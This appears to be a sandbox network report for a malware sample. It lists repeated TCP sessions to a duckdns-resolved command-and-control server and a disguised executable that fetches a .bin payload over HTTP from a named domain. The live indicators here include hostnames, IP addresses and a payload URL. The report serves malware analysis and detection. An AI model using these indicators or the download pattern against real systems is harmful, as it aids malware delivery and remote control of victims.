Nov 13, 2024 08:19:30.130064011 CET	49933	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:30.134624958 CET	49933	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:30.139928102 CET	51525	49933	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:30.895188093 CET	51525	49933	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:30.896084070 CET	49933	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:30.896802902 CET	49933	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:30.898255110 CET	49938	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:30.901592016 CET	51525	49933	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:30.903047085 CET	51525	49938	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:30.903110027 CET	49938	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:30.903882027 CET	49938	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:30.909110069 CET	51525	49938	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:31.676027060 CET	51525	49938	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:31.676110983 CET	49938	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:31.676326990 CET	49938	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:31.681118011 CET	51525	49938	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:31.683427095 CET	49944	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:31.688383102 CET	51525	49944	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:31.688472033 CET	49944	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:31.693505049 CET	49944	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:31.698343992 CET	51525	49944	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:32.578875065 CET	51525	49944	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:32.578941107 CET	49944	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:32.579566002 CET	49944	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:32.584453106 CET	51525	49944	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:33.593619108 CET	49956	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:33.599286079 CET	51525	49956	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:33.599347115 CET	49956	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:33.603276014 CET	49956	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:33.608071089 CET	51525	49956	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:34.374799013 CET	51525	49956	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:34.374861002 CET	49956	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:34.375525951 CET	49956	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:34.376782894 CET	49961	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:34.380806923 CET	51525	49956	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:34.381556988 CET	51525	49961	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:34.381635904 CET	49961	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:34.382169008 CET	49961	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:34.386964083 CET	51525	49961	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:35.155360937 CET	51525	49961	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:35.155414104 CET	49961	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:35.155636072 CET	49961	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:35.157629013 CET	49966	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:35.163234949 CET	51525	49961	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:35.165296078 CET	51525	49966	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:35.165358067 CET	49966	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:35.170320034 CET	49966	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:35.178076029 CET	51525	49966	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:36.032535076 CET	51525	49966	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:36.035665035 CET	49966	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:36.036350012 CET	49966	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:36.042284012 CET	51525	49966	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:37.047291994 CET	49978	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:37.052262068 CET	51525	49978	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:37.052310944 CET	49978	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:37.056015015 CET	49978	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:37.060863972 CET	51525	49978	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:38.188855886 CET	51525	49978	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:38.188925982 CET	49978	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:38.189789057 CET	49978	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:38.191180944 CET	49985	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:38.194540977 CET	51525	49978	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:38.196028948 CET	51525	49985	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:38.196088076 CET	49985	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:38.196639061 CET	49985	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:38.201451063 CET	51525	49985	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:39.075145006 CET	51525	49985	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:39.075320005 CET	49985	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:39.075426102 CET	49985	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:39.077172041 CET	49991	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:39.080163002 CET	51525	49985	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:39.082135916 CET	51525	49991	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:39.082196951 CET	49991	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:39.086204052 CET	49991	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:39.090990067 CET	51525	49991	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:39.945581913 CET	51525	49991	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:39.949409008 CET	49991	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:39.950206995 CET	49991	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:39.955044031 CET	51525	49991	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:40.953174114 CET	50001	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:40.958039045 CET	51525	50001	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:40.958103895 CET	50001	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:40.962229967 CET	50001	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:40.967163086 CET	51525	50001	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:41.812990904 CET	51525	50001	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:41.813064098 CET	50001	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:41.813510895 CET	50001	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:41.814656973 CET	50006	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:41.818269968 CET	51525	50001	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:41.819458961 CET	51525	50006	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:41.819515944 CET	50006	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:41.820131063 CET	50006	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:41.824888945 CET	51525	50006	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:42.612256050 CET	51525	50006	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:42.612338066 CET	50006	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:42.612544060 CET	50006	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:42.614152908 CET	50011	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:42.618865013 CET	51525	50006	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:42.620358944 CET	51525	50011	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:42.620445013 CET	50011	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:42.624883890 CET	50011	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:42.629678011 CET	51525	50011	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:43.465292931 CET	51525	50011	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:43.467072964 CET	50011	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:43.479996920 CET	50011	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:43.485364914 CET	51525	50011	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:44.484263897 CET	50022	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:44.489182949 CET	51525	50022	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:44.489267111 CET	50022	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:44.493123055 CET	50022	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:44.498769045 CET	51525	50022	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:45.250117064 CET	51525	50022	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:45.250176907 CET	50022	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:45.250816107 CET	50022	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:45.252194881 CET	50028	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:45.255526066 CET	51525	50022	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:45.257018089 CET	51525	50028	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:45.257092953 CET	50028	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:45.257644892 CET	50028	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:45.262445927 CET	51525	50028	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:46.016541004 CET	51525	50028	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:46.016604900 CET	50028	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:46.016807079 CET	50028	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:46.018400908 CET	50033	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:46.021583080 CET	51525	50028	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:46.023222923 CET	51525	50033	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:46.023297071 CET	50033	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:46.027430058 CET	50033	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:46.032202959 CET	51525	50033	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:46.795068026 CET	51525	50033	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:46.795133114 CET	50033	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:46.795829058 CET	50033	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:46.800673962 CET	51525	50033	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:47.812671900 CET	50043	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:47.817536116 CET	51525	50043	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:47.817672968 CET	50043	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:47.823703051 CET	50043	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:47.828505993 CET	51525	50043	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:48.651516914 CET	51525	50043	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:48.651599884 CET	50043	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:48.652323961 CET	50043	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:48.653937101 CET	50044	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:48.657195091 CET	51525	50043	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:48.658798933 CET	51525	50044	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:48.658878088 CET	50044	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:48.660481930 CET	50044	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:48.665431976 CET	51525	50044	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:49.458468914 CET	51525	50044	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:49.458549976 CET	50044	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:49.458770037 CET	50044	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:49.460354090 CET	50045	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:49.463502884 CET	51525	50044	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:49.465229988 CET	51525	50045	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:49.465303898 CET	50045	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:49.469938993 CET	50045	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:49.474788904 CET	51525	50045	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:50.222414017 CET	51525	50045	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:50.222482920 CET	50045	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:50.223125935 CET	50045	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:50.227948904 CET	51525	50045	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:51.234636068 CET	50046	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:51.239803076 CET	51525	50046	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:51.239870071 CET	50046	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:51.243928909 CET	50046	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:51.248933077 CET	51525	50046	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:52.106578112 CET	51525	50046	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:52.106671095 CET	50046	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:52.107327938 CET	50046	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:52.109575033 CET	50047	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:52.112098932 CET	51525	50046	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:52.114650011 CET	51525	50047	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:52.114717960 CET	50047	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:52.115381956 CET	50047	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:52.120157957 CET	51525	50047	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:52.892479897 CET	51525	50047	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:52.892580032 CET	50047	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:52.892788887 CET	50047	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:52.895400047 CET	50048	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:52.897561073 CET	51525	50047	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:52.900402069 CET	51525	50048	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:52.900476933 CET	50048	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:52.904702902 CET	50048	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:52.909554958 CET	51525	50048	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:53.685035944 CET	51525	50048	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:53.685122013 CET	50048	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:53.686156034 CET	50048	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:53.691049099 CET	51525	50048	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:54.703223944 CET	50049	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:54.708172083 CET	51525	50049	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:54.708256960 CET	50049	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:54.712259054 CET	50049	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:54.717078924 CET	51525	50049	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:55.544234991 CET	51525	50049	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:55.544308901 CET	50049	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:55.544972897 CET	50049	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:55.546436071 CET	50050	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:55.549763918 CET	51525	50049	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:55.551253080 CET	51525	50050	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:55.551311016 CET	50050	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:55.552303076 CET	50050	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:55.557092905 CET	51525	50050	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:56.411914110 CET	51525	50050	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:56.412044048 CET	50050	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:56.415673018 CET	50050	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:56.420526981 CET	51525	50050	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:56.427717924 CET	50051	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:56.432526112 CET	51525	50051	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:56.432590961 CET	50051	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:56.463922024 CET	50051	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:56.468751907 CET	51525	50051	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:57.283866882 CET	51525	50051	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:57.283982992 CET	50051	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:57.284677029 CET	50051	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:57.289432049 CET	51525	50051	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:58.297084093 CET	50052	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:58.302032948 CET	51525	50052	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:58.302114964 CET	50052	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:58.306497097 CET	50052	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:58.311342955 CET	51525	50052	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:59.104764938 CET	51525	50052	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:59.104861021 CET	50052	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:59.105374098 CET	50052	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:59.106580973 CET	50053	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:59.110131025 CET	51525	50052	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:59.111399889 CET	51525	50053	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:59.111498117 CET	50053	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:59.112616062 CET	50053	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:59.117405891 CET	51525	50053	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:59.975121975 CET	51525	50053	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:59.975182056 CET	50053	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:59.975409031 CET	50053	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:59.976876020 CET	50054	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:59.980122089 CET	51525	50053	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:59.981659889 CET	51525	50054	192.169.69.26	192.168.2.4
Nov 13, 2024 08:19:59.981725931 CET	50054	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:59.986318111 CET	50054	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:19:59.991147041 CET	51525	50054	192.169.69.26	192.168.2.4
Nov 13, 2024 08:20:00.760504961 CET	51525	50054	192.169.69.26	192.168.2.4
Nov 13, 2024 08:20:00.760643959 CET	50054	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:20:00.762800932 CET	50054	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:20:00.767555952 CET	51525	50054	192.169.69.26	192.168.2.4
Nov 13, 2024 08:20:01.778745890 CET	50055	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:20:01.783592939 CET	51525	50055	192.169.69.26	192.168.2.4
Nov 13, 2024 08:20:01.783670902 CET	50055	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:20:01.794661999 CET	50055	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:20:01.799452066 CET	51525	50055	192.169.69.26	192.168.2.4
Nov 13, 2024 08:20:02.576226950 CET	51525	50055	192.169.69.26	192.168.2.4
Nov 13, 2024 08:20:02.576298952 CET	50055	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:20:04.683968067 CET	50055	51525	192.168.2.4	192.169.69.26
Nov 13, 2024 08:20:04.688730001 CET	51525	50055	192.169.69.26	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 13, 2024 08:18:53.020380020 CET	54827	53	192.168.2.4	1.1.1.1
Nov 13, 2024 08:18:53.105350018 CET	53	54827	1.1.1.1	192.168.2.4
Nov 13, 2024 08:18:59.406265020 CET	64341	53	192.168.2.4	1.1.1.1
Nov 13, 2024 08:19:00.404405117 CET	64341	53	192.168.2.4	1.1.1.1
Nov 13, 2024 08:19:01.404428005 CET	64341	53	192.168.2.4	1.1.1.1
Nov 13, 2024 08:19:02.418731928 CET	53	64341	1.1.1.1	192.168.2.4
Nov 13, 2024 08:19:02.418745995 CET	53	64341	1.1.1.1	192.168.2.4
Nov 13, 2024 08:19:02.418760061 CET	53	64341	1.1.1.1	192.168.2.4
Nov 13, 2024 08:19:03.197638035 CET	49553	53	192.168.2.4	1.1.1.1
Nov 13, 2024 08:19:03.299628019 CET	53	49553	1.1.1.1	192.168.2.4
Nov 13, 2024 08:19:04.050910950 CET	51893	53	192.168.2.4	1.1.1.1
Nov 13, 2024 08:19:04.157780886 CET	53	51893	1.1.1.1	192.168.2.4
Nov 13, 2024 08:20:04.685276985 CET	49156	53	192.168.2.4	1.1.1.1
Nov 13, 2024 08:20:05.670250893 CET	49156	53	192.168.2.4	1.1.1.1
Nov 13, 2024 08:20:06.300339937 CET	53	49156	1.1.1.1	192.168.2.4
Nov 13, 2024 08:20:06.300354958 CET	53	49156	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 13, 2024 08:18:53.020380020 CET	192.168.2.4	1.1.1.1	0x9682	Standard query (0)	bdias.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 08:18:59.406265020 CET	192.168.2.4	1.1.1.1	0x3485	Standard query (0)	odumegwu.duckdns.org	A (IP address)	IN (0x0001)	false
Nov 13, 2024 08:19:00.404405117 CET	192.168.2.4	1.1.1.1	0x3485	Standard query (0)	odumegwu.duckdns.org	A (IP address)	IN (0x0001)	false
Nov 13, 2024 08:19:01.404428005 CET	192.168.2.4	1.1.1.1	0x3485	Standard query (0)	odumegwu.duckdns.org	A (IP address)	IN (0x0001)	false
Nov 13, 2024 08:19:03.197638035 CET	192.168.2.4	1.1.1.1	0x77a1	Standard query (0)	odumeje1.duckdns.org	A (IP address)	IN (0x0001)	false
Nov 13, 2024 08:19:04.050910950 CET	192.168.2.4	1.1.1.1	0x1ba1	Standard query (0)	odumeje.duckdns.org	A (IP address)	IN (0x0001)	false
Nov 13, 2024 08:20:04.685276985 CET	192.168.2.4	1.1.1.1	0x6982	Standard query (0)	odumeje1.duckdns.org	A (IP address)	IN (0x0001)	false
Nov 13, 2024 08:20:05.670250893 CET	192.168.2.4	1.1.1.1	0x6982	Standard query (0)	odumeje1.duckdns.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 13, 2024 08:18:53.105350018 CET	1.1.1.1	192.168.2.4	0x9682	No error (0)	bdias.com	91.196.125.125	A (IP address)	IN (0x0001)	false
Nov 13, 2024 08:19:02.418731928 CET	1.1.1.1	192.168.2.4	0x3485	No error (0)	odumegwu.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)	false
Nov 13, 2024 08:19:02.418745995 CET	1.1.1.1	192.168.2.4	0x3485	No error (0)	odumegwu.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)	false
Nov 13, 2024 08:19:02.418760061 CET	1.1.1.1	192.168.2.4	0x3485	No error (0)	odumegwu.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)	false
Nov 13, 2024 08:19:03.299628019 CET	1.1.1.1	192.168.2.4	0x77a1	No error (0)	odumeje1.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)	false
Nov 13, 2024 08:19:04.157780886 CET	1.1.1.1	192.168.2.4	0x1ba1	No error (0)	odumeje.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)	false
Nov 13, 2024 08:20:06.300339937 CET	1.1.1.1	192.168.2.4	0x6982	No error (0)	odumeje1.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)	false
Nov 13, 2024 08:20:06.300354958 CET	1.1.1.1	192.168.2.4	0x6982	No error (0)	odumeje1.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bdias.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	91.196.125.125	80	1076	C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 08:18:53.120764017 CET	169	OUT	GET /zjMSeQNkb41.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: bdias.com Cache-Control: no-cache
Nov 13, 2024 08:18:54.016949892 CET	439	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 13 Nov 2024 07:18:53 GMT Server: Apache Location: https://bdias.com/zjMSeQNkb41.bin Content-Length: 241 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 64 69 61 73 2e 63 6f 6d 2f 7a 6a 4d 53 65 51 4e 6b 62 34 31 2e 62 69 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bdias.com/zjMSeQNkb41.bin">here</a>.</p></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	91.196.125.125	443	1076	C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 07:18:55 UTC	193	OUT	GET /zjMSeQNkb41.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: bdias.com Connection: Keep-Alive
